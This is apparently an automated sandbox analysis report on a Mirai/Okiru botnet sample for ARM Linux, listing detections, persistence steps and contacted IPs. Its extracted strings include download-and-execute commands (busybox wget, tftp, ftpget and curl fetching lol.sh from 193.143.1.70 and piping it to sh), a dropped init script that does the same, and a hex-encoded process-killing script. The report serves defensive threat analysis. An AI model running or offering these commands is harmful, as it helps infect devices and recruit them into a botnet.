Linux Analysis Report
arm.nn.elf

Overview

General Information

Sample name: arm.nn.elf
Analysis ID: 1561648
MD5: 84e2b2af80eb318452aad9abcec3aae3
SHA1: 68ea04ebcea716c112e3244e7439a0917144dd79
SHA256: 7e0009dd21e5021495fa5d07a669c975c27f42fa0276dc5fd5d061fcd7d5eb2d
Tags: elfuser-abuse_ch
Infos:

Detection

Mirai, Okiru
Score: 88
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Yara detected Okiru
Drops files in suspicious directories
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Sample tries to set the executable flag
Uses the "uname" system call to query kernel version information (possible evasion)
Writes shell script file to disk with an unusual file extension

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: arm.nn.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: arm.nn.elf Virustotal: Detection: 42% Perma Link
Found strings indicative of a multi-platform dropper
Source: arm.nn.elf String: (deleted)/proc/self/exe/proc/%s/exe/proc/opendirtmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/ /tmp/./fd/socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt/bin/login193.143.1.70malloc[start_pid_hopping] Failed to clone: %s
Source: arm.nn.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;/bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;/bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;curl http://193.143.1.70/curl.sh -o- | shGET /dlr. HTTP/1.0
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.13:40280 -> 154.216.19.139:199
Source: global traffic TCP traffic: 192.168.2.13:59518 -> 193.143.1.70:38242
Sample listens on a socket
Source: /tmp/arm.nn.elf (PID: 5432) Socket: 0.0.0.0:38242 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.70
Source: unknown TCP traffic detected without corresponding DNS query: 179.170.2.170
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 220.153.76.62
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 11.208.141.109
Source: unknown TCP traffic detected without corresponding DNS query: 197.252.4.203
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 192.222.128.110
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.70
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.70
Source: unknown TCP traffic detected without corresponding DNS query: 184.174.24.70
Source: unknown TCP traffic detected without corresponding DNS query: 179.170.2.170
Source: unknown TCP traffic detected without corresponding DNS query: 154.181.16.12
Source: unknown TCP traffic detected without corresponding DNS query: 128.220.190.210
Source: unknown TCP traffic detected without corresponding DNS query: 220.153.76.62
Source: unknown TCP traffic detected without corresponding DNS query: 11.208.141.109
Source: unknown TCP traffic detected without corresponding DNS query: 66.204.135.57
Source: unknown TCP traffic detected without corresponding DNS query: 197.252.4.203
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 192.222.128.110
Source: unknown TCP traffic detected without corresponding DNS query: 184.174.24.70
Source: unknown TCP traffic detected without corresponding DNS query: 154.181.16.12
Source: unknown TCP traffic detected without corresponding DNS query: 128.220.190.210
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: arm.nn.elf, profile.12.dr, system.12.dr, inittab.12.dr, arm.nn.elf.36.dr, bootcmd.12.dr, custom.service.12.dr String found in binary or memory: http://193.143.1.70/
Source: arm.nn.elf String found in binary or memory: http://193.143.1.70/curl.sh
Source: arm.nn.elf String found in binary or memory: http://193.143.1.70/lol.sh
Source: arm.nn.elf String found in binary or memory: http://193.143.1.70/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/sbi
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: (deleted)/proc/self/exe/proc/%s/exe/proc/opendirtmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/ /tmp/./fd/socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//ro
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;/bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;/bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;curl http://193.143.1.70/curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/arm.nn.elf (PID: 5442) SIGKILL sent: pid: 792, result: successful Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5442) SIGKILL sent: pid: 884, result: successful Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5442) SIGKILL sent: pid: 1944, result: successful Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5442) SIGKILL sent: pid: 3181, result: successful Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5442) SIGKILL sent: pid: 3185, result: successful Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5442) SIGKILL sent: pid: 5487, result: successful Jump to behavior
Source: classification engine Classification label: mal88.spre.troj.evad.linELF@0/10@2/0

Persistence and Installation Behavior
barindex
Sample tries to persist itself using /etc/profile
Source: /tmp/arm.nn.elf (PID: 5432) File: /etc/profile Jump to behavior
Sample tries to persist itself using System V runlevels
Source: /tmp/arm.nn.elf (PID: 5432) File: /etc/rc.local Jump to behavior
Source: /usr/bin/ln (PID: 5517) File: /etc/rcS.d/S99system -> /etc/init.d/system Jump to behavior
Source: /usr/bin/ln (PID: 5541) File: /etc/rc.d/S99arm.nn.elf -> /etc/init.d/arm.nn.elf Jump to behavior
Sample tries to set files in /etc globally writable
Source: /tmp/arm.nn.elf (PID: 5432) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5510) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5532) File: /etc/init.d/arm.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/arm.nn.elf (PID: 5568) File opened: /proc/5682/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5568) File opened: /proc/5661/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5568) File opened: /proc/5683/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5568) File opened: /proc/5662/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5568) File opened: /proc/5684/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5568) File opened: /proc/5685/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5568) File opened: /proc/5664/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5568) File opened: /proc/5686/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5568) File opened: /proc/5717/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5568) File opened: /proc/5718/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5568) File opened: /proc/5719/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5568) File opened: /proc/5710/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5568) File opened: /proc/5711/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5568) File opened: /proc/5712/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5568) File opened: /proc/5713/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5568) File opened: /proc/5714/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5568) File opened: /proc/5715/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5568) File opened: /proc/5716/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5568) File opened: /proc/5273/cmdline Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5568) File opened: /proc/5706/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5568) File opened: /proc/5707/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5568) File opened: /proc/5708/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5568) File opened: /proc/5709/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5568) File opened: /proc/5666/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5568) File opened: /proc/802/cmdline Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5568) File opened: /proc/5701/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5568) File opened: /proc/5702/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5568) File opened: /proc/5703/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5568) File opened: /proc/5704/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5568) File opened: /proc/5705/status Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/arm.nn.elf (PID: 5448) Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5504) Shell command executed: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5512) Shell command executed: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5520) Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/arm.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting arm.nn.elf'\n /tmp/arm.nn.elf &\n wget http://193.143.1.70/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping arm.nn.elf'\n killall arm.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/arm.nn.elf" Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5525) Shell command executed: sh -c "chmod +x /etc/init.d/arm.nn.elf >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5533) Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5539) Shell command executed: sh -c "ln -s /etc/init.d/arm.nn.elf /etc/rc.d/S99arm.nn.elf >/dev/null 2>&1" Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 5510) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/system Jump to behavior
Source: /bin/sh (PID: 5532) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/arm.nn.elf Jump to behavior
Executes the "mkdir" command used to create folders
Source: /bin/sh (PID: 5538) Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d Jump to behavior
Executes the "systemctl" command used for controlling the systemd system and service manager
Source: /bin/sh (PID: 5471) Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service Jump to behavior
Sample tries to set the executable flag
Source: /tmp/arm.nn.elf (PID: 5432) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5510) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5532) File: /etc/init.d/arm.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Writes shell script file to disk with an unusual file extension
Source: /tmp/arm.nn.elf (PID: 5432) Writes shell script file to disk with an unusual file extension: /etc/init.d/system Jump to dropped file
Source: /tmp/arm.nn.elf (PID: 5432) Writes shell script file to disk with an unusual file extension: /etc/rc.local Jump to dropped file
Source: /bin/sh (PID: 5520) Writes shell script file to disk with an unusual file extension: /etc/init.d/arm.nn.elf Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Drops files in suspicious directories
Source: /tmp/arm.nn.elf (PID: 5432) File: /etc/init.d/system Jump to dropped file
Source: /bin/sh (PID: 5520) File: /etc/init.d/arm.nn.elf Jump to dropped file
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/arm.nn.elf (PID: 5432) Queries kernel information via 'uname': Jump to behavior
Source: arm.nn.elf, 5432.1.0000557b79760000.0000557b798af000.rw-.sdmp, arm.nn.elf, 5442.1.0000557b79760000.0000557b798af000.rw-.sdmp Binary or memory string: /etc/qemu-binfmtP /proc/5416/exefce4/paneQ0
Source: arm.nn.elf, 5432.1.0000557b79760000.0000557b798af000.rw-.sdmp Binary or memory string: vy{U/arm/sr/bin0!/usr/bin/VGAuthService1/proc/3225/exe/arm/sr10!/usr/bin/gnome-shell!/proc/727/exe1/etc/profileU/arm/ro10!/proc/1691/exe0!/usr/bin/vmtoolsd1/usr/libexec/geoclue-2.0/demos/agent!/proc/1648/exe0!/proc/765/exe1/proc/3162/exe/arm/ro
Source: arm.nn.elf, 5432.1.00007ffd95151000.00007ffd95172000.rw-.sdmp Binary or memory string: /tmp/qemu-open.4gWiaW
Source: arm.nn.elf, 5442.1.0000557b79760000.0000557b798af000.rw-.sdmp Binary or memory string: y{U/arm/ro10 /proc/1691/exe0!/usr/bin/vmtoolsd1/usr/libexec/geoclue-2.0/demos/agent!/proc/1648/exe0!/proc/765/exe1/proc/3162/exe/arm/ro
Source: arm.nn.elf, 5432.1.00007ffd95151000.00007ffd95172000.rw-.sdmp Binary or memory string: 8v{U/tmp/qemu-open.4gWiaW
Source: arm.nn.elf, 5442.1.00007fc2a403b000.00007fc2a403f000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd
Source: arm.nn.elf, 5432.1.0000557b79760000.0000557b798af000.rw-.sdmp, arm.nn.elf, 5442.1.0000557b79760000.0000557b798af000.rw-.sdmp Binary or memory string: /etc/qemu-binfmtP
Source: arm.nn.elf, 5432.1.00007ffd95151000.00007ffd95172000.rw-.sdmp, arm.nn.elf, 5442.1.00007ffd95151000.00007ffd95172000.rw-.sdmp Binary or memory string: (x86_64/usr/bin/qemu-arm/tmp/arm.nn.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm.nn.elf
Source: arm.nn.elf, 5432.1.0000557b79760000.0000557b798af000.rw-.sdmp, arm.nn.elf, 5442.1.0000557b79760000.0000557b798af000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: arm.nn.elf, 5432.1.00007ffd95151000.00007ffd95172000.rw-.sdmp, arm.nn.elf, 5442.1.00007ffd95151000.00007ffd95172000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: arm.nn.elf, 5432.1.0000557b79760000.0000557b798af000.rw-.sdmp, arm.nn.elf, 5442.1.0000557b79760000.0000557b798af000.rw-.sdmp Binary or memory string: swy{UPuwy{UPrwy{U!/etc/qemu-binfmt/arm
Source: arm.nn.elf, 5432.1.00007ffd95151000.00007ffd95172000.rw-.sdmp Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Source: arm.nn.elf, 5442.1.00007fc2a403b000.00007fc2a403f000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd8

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: arm.nn.elf, type: SAMPLE
Source: Yara match File source: 5442.1.00007fc2a4017000.00007fc2a4033000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5432.1.00007fc2a4017000.00007fc2a4033000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: arm.nn.elf, type: SAMPLE
Source: Yara match File source: 5442.1.00007fc2a4017000.00007fc2a4033000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5432.1.00007fc2a4017000.00007fc2a4033000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: arm.nn.elf PID: 5432, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: arm.nn.elf PID: 5442, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: arm.nn.elf, type: SAMPLE
Source: Yara match File source: 5442.1.00007fc2a4017000.00007fc2a4033000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5432.1.00007fc2a4017000.00007fc2a4033000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: arm.nn.elf, type: SAMPLE
Source: Yara match File source: 5442.1.00007fc2a4017000.00007fc2a4033000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5432.1.00007fc2a4017000.00007fc2a4033000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: arm.nn.elf PID: 5432, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: arm.nn.elf PID: 5442, type: MEMORYSTR
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
64.54.102.170
 unknown United States
5653 UCSFUS false
180.173.156.248
 unknown China
4812 CHINANET-SH-APChinaTelecomGroupCN false
142.193.250.100
 unknown Canada
13576 SDNW-13576US false
8.169.202.144
 unknown Singapore
37963 CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd false
78.193.184.100
 unknown France
12322 PROXADFR false
98.165.231.237
 unknown United States
22773 ASN-CXA-ALL-CCI-22773-RDCUS false
90.138.90.96
 unknown Sweden
1257 TELE2EU false
217.136.72.68
 unknown Belgium
5432 PROXIMUS-ISP-ASBE false
136.104.88.174
 unknown United States
60311 ONEFMCH false
14.41.97.167
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
216.164.182.9
 unknown United States
6079 RCN-ASUS false
81.26.170.89
 unknown Germany
12843 TELEMAXXDE false
51.47.25.62
 unknown United States
2686 ATGS-MMD-ASUS false
216.129.192.0
 unknown Canada
812 ROGERS-COMMUNICATIONSCA false
37.35.86.175
 unknown Finland
20904 NETPLAZA-ASFI false
49.75.109.227
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
90.10.98.24
 unknown France
3215 FranceTelecom-OrangeFR false
126.37.174.202
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
187.77.132.30
 unknown Brazil
7738 TelemarNorteLesteSABR false
77.144.231.81
 unknown France
15557 LDCOMNETFR false
222.78.81.92
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
49.39.48.116
 unknown India
55836 RELIANCEJIO-INRelianceJioInfocommLimitedIN false
57.170.71.25
 unknown Belgium
2686 ATGS-MMD-ASUS false
64.191.233.175
 unknown United States
14609 EQUINIX-CORP-ASUS false
210.232.241.114
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
140.162.135.137
 unknown United States
19 LEIDOS-ASUS false
118.223.105.59
 unknown Korea Republic of
9318 SKB-ASSKBroadbandCoLtdKR false
101.251.135.195
 unknown China
58519 CHINATELECOM-CTCLOUDCloudComputingCorporationCN false
128.167.204.116
 unknown United States
1814 CSC-300-AS1810-AS1815US false
213.182.94.73
 unknown Italy
21056 ASN-WELCOMEITALIAIT false
73.151.58.200
 unknown United States
7922 COMCAST-7922US false
49.242.199.130
 unknown Japan 10013 FBDCFreeBitCoLtdJP false
16.78.156.21
 unknown United States
unknown unknown false
59.23.152.36
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
123.52.17.164
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
29.238.76.143
 unknown United States
7922 COMCAST-7922US false
39.208.171.238
 unknown Indonesia
23693 TELKOMSEL-ASN-IDPTTelekomunikasiSelularID false
180.116.203.93
 unknown China
137702 CHINATELECOM-JIANGSU-NANJING-IDCNanjingJiangsuProvince false
86.111.33.173
 unknown Austria
29545 IPLACERingstrasse5AT false
47.68.50.48
 unknown United States
3209 VODANETInternationalIP-BackboneofVodafoneDE false
62.39.89.36
 unknown France
15557 LDCOMNETFR false
202.166.213.57
 unknown Nepal
17501 WLINK-NEPAL-AS-APWorldLinkCommunicationsPvtLtdNP false
79.246.253.137
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
148.81.103.170
 unknown Poland
1887 NASK-ACADEMICPL false
179.66.145.203
 unknown Brazil
7738 TelemarNorteLesteSABR false
11.79.183.215
 unknown United States
3356 LEVEL3US false
125.193.95.17
 unknown Japan 2518 BIGLOBEBIGLOBEIncJP false
150.4.2.248
 unknown Japan 6400 CompaniaDominicanadeTelefonosSADO false
45.180.244.197
 unknown Mexico
265595 NataliaChareevaMX false
131.42.100.74
 unknown United States
385 AFCONC-BLOCK1-ASUS false
151.169.74.190
 unknown United States
45025 EDN-ASUA false
117.128.117.166
 unknown China
56048 CMNET-BEIJING-APChinaMobileCommunicaitonsCorporationCN false
178.38.125.95
 unknown Switzerland
6730 SUNRISECH false
130.163.174.81
 unknown United States
668 DNIC-AS-00668US false
34.71.255.62
 unknown United States
15169 GOOGLEUS false
2.66.155.104
 unknown Sweden
44034 HI3GSE false
210.116.98.112
 unknown Korea Republic of
3786 LGDACOMLGDACOMCorporationKR false
45.129.12.155
 unknown United Kingdom
35478 DATACENTERRO false
5.104.149.198
 unknown Germany
21263 TELEDATA-ASTeleDataGmbHDE false
184.25.147.125
 unknown United States
16625 AKAMAI-ASUS false
84.17.217.190
 unknown Sweden
57208 TELECOMPUTING-SE false
104.227.97.226
 unknown Canada
55286 SERVER-MANIACA false
106.253.102.40
 unknown Korea Republic of
3786 LGDACOMLGDACOMCorporationKR false
30.99.184.69
 unknown United States
7922 COMCAST-7922US false
5.91.52.36
 unknown Italy
